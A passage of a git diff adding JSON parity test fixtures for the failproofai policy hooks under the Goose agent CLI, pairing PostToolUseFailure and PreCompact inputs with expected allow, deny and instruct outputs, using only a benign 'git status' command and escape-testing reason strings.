"transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PostToolUseFailure/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/PostToolUseFailure/deny__tool-present__two-policies.json new file mode 100644 index 00000000..b9f57ca1 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostToolUseFailure/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "goose", + "decision_kind": "deny", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PostToolUseFailure/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/PostToolUseFailure/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..52628c67 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostToolUseFailure/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "instruct", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PostToolUseFailure/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/PostToolUseFailure/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..8a186b1c --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostToolUseFailure/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "instruct", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PostToolUseFailure/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/PostToolUseFailure/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..e9dd8d33 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostToolUseFailure/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "goose", + "decision_kind": "instruct", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PostToolUseFailure/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/PostToolUseFailure/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..f9dbff2a --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostToolUseFailure/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "goose", + "decision_kind": "instruct", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PreCompact/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/PreCompact/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..9768beaf --- /dev/null +++ b/__tests__/parity/fixtures/goose/PreCompact/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PreCompact/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/PreCompact/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..abdc7e7a --- /dev/null +++ b/__tests__/parity/fixtures/goose/PreCompact/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PreCompact/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/PreCompact/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..ed70c7f7 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PreCompact/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PreCompact/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/PreCompact/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..3ddf5773 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PreCompact/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PreCompact/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/PreCompact/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..f0f26502 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PreCompact/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PreCompact/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/PreCompact/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..07c0ca8d --- /dev/null +++ b/__tests__/parity/fixtures/goose/PreCompact/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PreCompact/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/PreCompact/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..a8b5e6f6 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PreCompact/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PreCompact/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/PreCompact/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..50b2c53d --- /dev/null +++ b/__tests__/parity/fixtures/goose/PreCompact/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PreCompact/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/PreCompact/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..d63dd5af --- /dev/null +++ b/__tests__/parity/fixtures/goose/PreCompact/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "deny", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PreCompact/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/PreCompact/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..51238a41 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PreCompact/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "deny", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PreCompact/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/PreCompact/deny__tool-present__one-policy.json new file mode 100644 index 00000000..b93d2709 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PreCompact/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "goose", + "decision_kind": "deny", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PreCompact/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/PreCompact/deny__tool-present__two-policies.json new file mode 100644 index 00000000..d95678e5 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PreCompact/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "goose", + "decision_kind": "deny", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PreCompact/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/PreCompact/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..ce09cc30 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PreCompact/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "instruct", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PreCompact/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/PreCompact/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..90e905b8 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PreCompact/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "instruct", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: 